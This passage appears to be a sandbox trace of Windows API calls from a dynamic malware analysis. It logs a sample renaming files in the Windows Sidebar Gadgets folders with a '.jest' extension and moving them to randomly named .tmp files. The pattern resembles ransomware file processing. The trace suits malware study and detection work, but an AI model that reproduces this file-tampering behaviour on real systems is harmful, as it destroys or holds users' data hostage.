lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t1s5pIl 2rH65ct4LPyzulqlBhu-AGPNYkUUrQusYBmS62mvIQCC1RwQ1WOQcdAUF9N3WolvMzhI1E-eI9X4EpwEjPyKDbqmrP-s.tmp", lpFilePart=0x18e6e4*="t1s5pIl 2rH65ct4LPyzulqlBhu-AGPNYkUUrQusYBmS62mvIQCC1RwQ1WOQcdAUF9N3WolvMzhI1E-eI9X4EpwEjPyKDbqmrP-s.tmp") returned 0x8e [0127.368] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t1s5pIl 2rH65ct4LPyzulqlBhu-AGPNYkUUrQusYBmS62mvIQCC1RwQ1WOQcdAUF9N3WolvMzhI1E-eI9X4EpwEjPyKDbqmrP-s.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x35733174, cFileName="pIl 2rH65ct4LPyzulqlBhu-AGPNYkUUrQusYBmS62mvIQCC1RwQ1WOQcdAUF9N3WolvMzhI1E-eI9X4EpwEjPyKDbqmrP-s.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.368] GetLastError () returned 0x2 [0127.368] GetLastError () returned 0x2 [0127.368] SetLastError (dwErrCode=0x2) [0127.379] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.379] GetTickCount () returned 0x1152491 [0127.379] GetTickCount () returned 0x1152491 [0127.379] CoFreeUnusedLibraries () [0127.379] GetTickCount () returned 0x1152491 [0127.379] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.379] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.379] GetTickCount () returned 0x1152491 [0127.379] IsWindowVisible (hWnd=0x30268) returned 0 [0127.379] Sleep (dwMilliseconds=0x0) [0127.381] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\tulip.jpg"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg.jest" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\tulip.jpg.jest")) returned 0 [0127.383] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg", lpFilePart=0x18e6d8*="Tulip.jpg") returned 0x4a [0127.383] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ad1768, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85ad1768, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db1a21d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x61b80, dwReserved0=0x57, dwReserved1=0x0, cFileName="Tulip.jpg", cAlternateFileName="")) returned 0x143ce48 [0127.384] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.403] VarBstrFromR4 (in: fltIn=0x479445a3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.27") returned 0x0 [0127.428] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.428] GetTickCount () returned 0x11524c0 [0127.428] GetTickCount () returned 0x11524c0 [0127.428] CoFreeUnusedLibraries () [0127.428] GetTickCount () returned 0x11524c0 [0127.428] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.429] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.429] GetTickCount () returned 0x11524c0 [0127.429] IsWindowVisible (hWnd=0x30268) returned 0 [0127.429] Sleep (dwMilliseconds=0x0) [0127.448] GetFullPathNameA (in: lpFileName="n3nGaV5suc53MoegVQK6E4T89f9wEd8OBmomS0i 0a5 WBbXXPd_pZWepTWjEbh7Dlz6Bpo58iBSjjKhd96_SFIDj9Y HpQA t5s.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n3nGaV5suc53MoegVQK6E4T89f9wEd8OBmomS0i 0a5 WBbXXPd_pZWepTWjEbh7Dlz6Bpo58iBSjjKhd96_SFIDj9Y HpQA t5s.tmp", lpFilePart=0x18e708*="n3nGaV5suc53MoegVQK6E4T89f9wEd8OBmomS0i 0a5 WBbXXPd_pZWepTWjEbh7Dlz6Bpo58iBSjjKhd96_SFIDj9Y HpQA t5s.tmp") returned 0x8e [0127.448] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg", lpFilePart=0x18e708*="Tulip.jpg") returned 0x4a [0127.448] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\tulip.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n3nGaV5suc53MoegVQK6E4T89f9wEd8OBmomS0i 0a5 WBbXXPd_pZWepTWjEbh7Dlz6Bpo58iBSjjKhd96_SFIDj9Y HpQA t5s.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n3ngav5suc53moegvqk6e4t89f9wed8obmoms0i 0a5 wbbxxpd_pzweptwjebh7dlz6bpo58ibsjjkhd96_sfidj9y hpqa t5s.tmp")) returned 0 [0127.450] GetLastError () returned 0x5 [0127.450] GetLastError () returned 0x5 [0127.450] SetLastError (dwErrCode=0x5) [0127.450] GetLastError () returned 0x5 [0127.450] SetLastError (dwErrCode=0x5) [0127.450] GetLastError () returned 0x5 [0127.450] SetLastError (dwErrCode=0x5) [0127.451] GetFullPathNameA (in: lpFileName="n3nGaV5suc53MoegVQK6E4T89f9wEd8OBmomS0i 0a5 WBbXXPd_pZWepTWjEbh7Dlz6Bpo58iBSjjKhd96_SFIDj9Y HpQA t5s.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n3nGaV5suc53MoegVQK6E4T89f9wEd8OBmomS0i 0a5 WBbXXPd_pZWepTWjEbh7Dlz6Bpo58iBSjjKhd96_SFIDj9Y HpQA t5s.tmp", lpFilePart=0x18e6e4*="n3nGaV5suc53MoegVQK6E4T89f9wEd8OBmomS0i 0a5 WBbXXPd_pZWepTWjEbh7Dlz6Bpo58iBSjjKhd96_SFIDj9Y HpQA t5s.tmp") returned 0x8e [0127.451] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n3nGaV5suc53MoegVQK6E4T89f9wEd8OBmomS0i 0a5 WBbXXPd_pZWepTWjEbh7Dlz6Bpo58iBSjjKhd96_SFIDj9Y HpQA t5s.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x476e336e, cFileName="aV5suc53MoegVQK6E4T89f9wEd8OBmomS0i 0a5 WBbXXPd_pZWepTWjEbh7Dlz6Bpo58iBSjjKhd96_SFIDj9Y HpQA t5s.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.451] GetLastError () returned 0x2 [0127.451] GetLastError () returned 0x2 [0127.451] SetLastError (dwErrCode=0x2) [0127.465] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.465] GetTickCount () returned 0x11524df [0127.465] GetTickCount () returned 0x11524df [0127.466] CoFreeUnusedLibraries () [0127.466] GetTickCount () returned 0x11524df [0127.466] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.466] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.466] GetTickCount () returned 0x11524df [0127.466] IsWindowVisible (hWnd=0x30268) returned 0 [0127.466] Sleep (dwMilliseconds=0x0) [0127.467] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\drag.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\drag.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\drag.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\drag.png.jest")) returned 0 [0127.467] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\drag.png", lpFilePart=0x18e6d8*="drag.png") returned 0x46 [0127.467] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\drag.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf39e8c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcf39e8c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd379e7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0x57, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 0x143ce48 [0127.467] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.468] VarBstrFromR4 (in: fltIn=0x479445a9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.32") returned 0x0 [0127.473] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.473] GetTickCount () returned 0x11524df [0127.473] GetTickCount () returned 0x11524df [0127.474] CoFreeUnusedLibraries () [0127.474] GetTickCount () returned 0x11524df [0127.474] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.474] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.474] GetTickCount () returned 0x11524df [0127.474] IsWindowVisible (hWnd=0x30268) returned 0 [0127.474] Sleep (dwMilliseconds=0x0) [0127.475] GetFullPathNameA (in: lpFileName="Kru6eylod_OCIXsBjIXKhVUx-eqvjS04Nt pQlejuJr3aqWp9U_d_CaWtfhfxRt7s7FxdH87lPf3CfwAIi9W-p6oGAsavMKgFVW6j.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Kru6eylod_OCIXsBjIXKhVUx-eqvjS04Nt pQlejuJr3aqWp9U_d_CaWtfhfxRt7s7FxdH87lPf3CfwAIi9W-p6oGAsavMKgFVW6j.tmp", lpFilePart=0x18e708*="Kru6eylod_OCIXsBjIXKhVUx-eqvjS04Nt pQlejuJr3aqWp9U_d_CaWtfhfxRt7s7FxdH87lPf3CfwAIi9W-p6oGAsavMKgFVW6j.tmp") returned 0x8f [0127.475] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\drag.png", lpFilePart=0x18e708*="drag.png") returned 0x46 [0127.476] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\drag.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\drag.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Kru6eylod_OCIXsBjIXKhVUx-eqvjS04Nt pQlejuJr3aqWp9U_d_CaWtfhfxRt7s7FxdH87lPf3CfwAIi9W-p6oGAsavMKgFVW6j.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kru6eylod_ocixsbjixkhvux-eqvjs04nt pqlejujr3aqwp9u_d_cawtfhfxrt7s7fxdh87lpf3cfwaii9w-p6ogasavmkgfvw6j.tmp")) returned 0 [0127.476] GetLastError () returned 0x5 [0127.476] GetLastError () returned 0x5 [0127.476] SetLastError (dwErrCode=0x5) [0127.476] GetLastError () returned 0x5 [0127.476] SetLastError (dwErrCode=0x5) [0127.476] GetLastError () returned 0x5 [0127.476] SetLastError (dwErrCode=0x5) [0127.477] GetFullPathNameA (in: lpFileName="Kru6eylod_OCIXsBjIXKhVUx-eqvjS04Nt pQlejuJr3aqWp9U_d_CaWtfhfxRt7s7FxdH87lPf3CfwAIi9W-p6oGAsavMKgFVW6j.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Kru6eylod_OCIXsBjIXKhVUx-eqvjS04Nt pQlejuJr3aqWp9U_d_CaWtfhfxRt7s7FxdH87lPf3CfwAIi9W-p6oGAsavMKgFVW6j.tmp", lpFilePart=0x18e6e4*="Kru6eylod_OCIXsBjIXKhVUx-eqvjS04Nt pQlejuJr3aqWp9U_d_CaWtfhfxRt7s7FxdH87lPf3CfwAIi9W-p6oGAsavMKgFVW6j.tmp") returned 0x8f [0127.477] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Kru6eylod_OCIXsBjIXKhVUx-eqvjS04Nt pQlejuJr3aqWp9U_d_CaWtfhfxRt7s7FxdH87lPf3CfwAIi9W-p6oGAsavMKgFVW6j.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x3675724b, cFileName="eylod_OCIXsBjIXKhVUx-eqvjS04Nt pQlejuJr3aqWp9U_d_CaWtfhfxRt7s7FxdH87lPf3CfwAIi9W-p6oGAsavMKgFVW6j.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.477] GetLastError () returned 0x2 [0127.477] GetLastError () returned 0x2 [0127.477] SetLastError (dwErrCode=0x2) [0127.480] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.480] GetTickCount () returned 0x11524ef [0127.480] GetTickCount () returned 0x11524ef [0127.480] CoFreeUnusedLibraries () [0127.480] GetTickCount () returned 0x11524ef [0127.480] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.480] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.480] GetTickCount () returned 0x11524ef [0127.480] IsWindowVisible (hWnd=0x30268) returned 0 [0127.480] Sleep (dwMilliseconds=0x0) [0127.481] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\icon.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\icon.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\icon.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\icon.png.jest")) returned 0 [0127.482] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\icon.png", lpFilePart=0x18e6d8*="icon.png") returned 0x46 [0127.482] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\icon.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd6739fc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbd6739fc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbd6739fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x32a0, dwReserved0=0x57, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 0x143ce48 [0127.482] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.482] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.482] VarBstrFromR4 (in: fltIn=0x479445ac, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.34") returned 0x0 [0127.484] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.484] GetTickCount () returned 0x11524ef [0127.484] GetTickCount () returned 0x11524ef [0127.484] CoFreeUnusedLibraries () [0127.485] GetTickCount () returned 0x11524ef [0127.485] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.485] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.485] GetTickCount () returned 0x11524ef [0127.485] IsWindowVisible (hWnd=0x30268) returned 0 [0127.485] Sleep (dwMilliseconds=0x0) [0127.486] GetFullPathNameA (in: lpFileName="3k04oFWfO dxn5X3H6Htr-FWWjlELKi7o9RFvfBK eWxFOSpSmnpznVet_gRRR6S42vrjGRr16OIf9TmrDAswDVfqtLeiJKusyB.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3k04oFWfO dxn5X3H6Htr-FWWjlELKi7o9RFvfBK eWxFOSpSmnpznVet_gRRR6S42vrjGRr16OIf9TmrDAswDVfqtLeiJKusyB.tmp", lpFilePart=0x18e708*="3k04oFWfO dxn5X3H6Htr-FWWjlELKi7o9RFvfBK eWxFOSpSmnpznVet_gRRR6S42vrjGRr16OIf9TmrDAswDVfqtLeiJKusyB.tmp") returned 0x8d [0127.486] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\icon.png", lpFilePart=0x18e708*="icon.png") returned 0x46 [0127.487] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\icon.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\icon.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3k04oFWfO dxn5X3H6Htr-FWWjlELKi7o9RFvfBK eWxFOSpSmnpznVet_gRRR6S42vrjGRr16OIf9TmrDAswDVfqtLeiJKusyB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3k04ofwfo dxn5x3h6htr-fwwjlelki7o9rfvfbk ewxfospsmnpznvet_grrr6s42vrjgrr16oif9tmrdaswdvfqtleijkusyb.tmp")) returned 0 [0127.487] GetLastError () returned 0x5 [0127.487] GetLastError () returned 0x5 [0127.487] SetLastError (dwErrCode=0x5) [0127.487] GetLastError () returned 0x5 [0127.487] SetLastError (dwErrCode=0x5) [0127.487] GetLastError () returned 0x5 [0127.487] SetLastError (dwErrCode=0x5) [0127.487] GetFullPathNameA (in: lpFileName="3k04oFWfO dxn5X3H6Htr-FWWjlELKi7o9RFvfBK eWxFOSpSmnpznVet_gRRR6S42vrjGRr16OIf9TmrDAswDVfqtLeiJKusyB.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3k04oFWfO dxn5X3H6Htr-FWWjlELKi7o9RFvfBK eWxFOSpSmnpznVet_gRRR6S42vrjGRr16OIf9TmrDAswDVfqtLeiJKusyB.tmp", lpFilePart=0x18e6e4*="3k04oFWfO dxn5X3H6Htr-FWWjlELKi7o9RFvfBK eWxFOSpSmnpznVet_gRRR6S42vrjGRr16OIf9TmrDAswDVfqtLeiJKusyB.tmp") returned 0x8d [0127.487] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3k04oFWfO dxn5X3H6Htr-FWWjlELKi7o9RFvfBK eWxFOSpSmnpznVet_gRRR6S42vrjGRr16OIf9TmrDAswDVfqtLeiJKusyB.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x34306b33, cFileName="oFWfO dxn5X3H6Htr-FWWjlELKi7o9RFvfBK eWxFOSpSmnpznVet_gRRR6S42vrjGRr16OIf9TmrDAswDVfqtLeiJKusyB.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.487] GetLastError () returned 0x2 [0127.487] GetLastError () returned 0x2 [0127.487] SetLastError (dwErrCode=0x2) [0127.490] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.490] GetTickCount () returned 0x11524ef [0127.490] GetTickCount () returned 0x11524ef [0127.490] CoFreeUnusedLibraries () [0127.490] GetTickCount () returned 0x11524ef [0127.490] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.490] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.490] GetTickCount () returned 0x11524ef [0127.490] IsWindowVisible (hWnd=0x30268) returned 0 [0127.490] Sleep (dwMilliseconds=0x0) [0127.492] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\gadget.xml.jest")) returned 0 [0127.492] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e6d8*="gadget.xml") returned 0x4e [0127.492] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x57, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 0x143ce48 [0127.492] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.492] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.493] VarBstrFromR4 (in: fltIn=0x479445ad, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.35") returned 0x0 [0127.493] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.493] GetTickCount () returned 0x11524ff [0127.493] GetTickCount () returned 0x11524ff [0127.493] CoFreeUnusedLibraries () [0127.493] GetTickCount () returned 0x11524ff [0127.493] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.493] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.493] GetTickCount () returned 0x11524ff [0127.493] IsWindowVisible (hWnd=0x30268) returned 0 [0127.493] Sleep (dwMilliseconds=0x0) [0127.502] GetFullPathNameA (in: lpFileName="f3FQ_wLiNduG83_5DdWfQDDLo5xrokg1lFzgbH Ed0Xhx-1rZnmsJjk7GtdW3zzMw57T-dgS370UGMReVZCBp-3Do9y3oF47K_b9y.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f3FQ_wLiNduG83_5DdWfQDDLo5xrokg1lFzgbH 